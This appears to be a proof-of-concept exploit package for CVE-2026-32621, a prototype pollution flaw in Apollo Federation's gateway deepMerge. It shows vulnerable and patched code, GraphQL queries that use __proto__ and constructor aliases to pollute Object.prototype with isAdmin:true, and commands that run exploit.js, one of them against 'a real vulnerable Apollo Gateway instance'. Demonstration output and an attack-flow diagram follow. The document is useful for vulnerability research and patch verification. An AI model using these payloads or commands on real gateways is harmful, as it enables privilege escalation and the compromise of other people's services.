// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

query {
  __proto__: products {
    polluted: id
  }
}

{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

query {
  constructor: products {
    prototype: id
  }
}

# Run the local deepMerge vulnerability demonstration
node exploit.js

# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │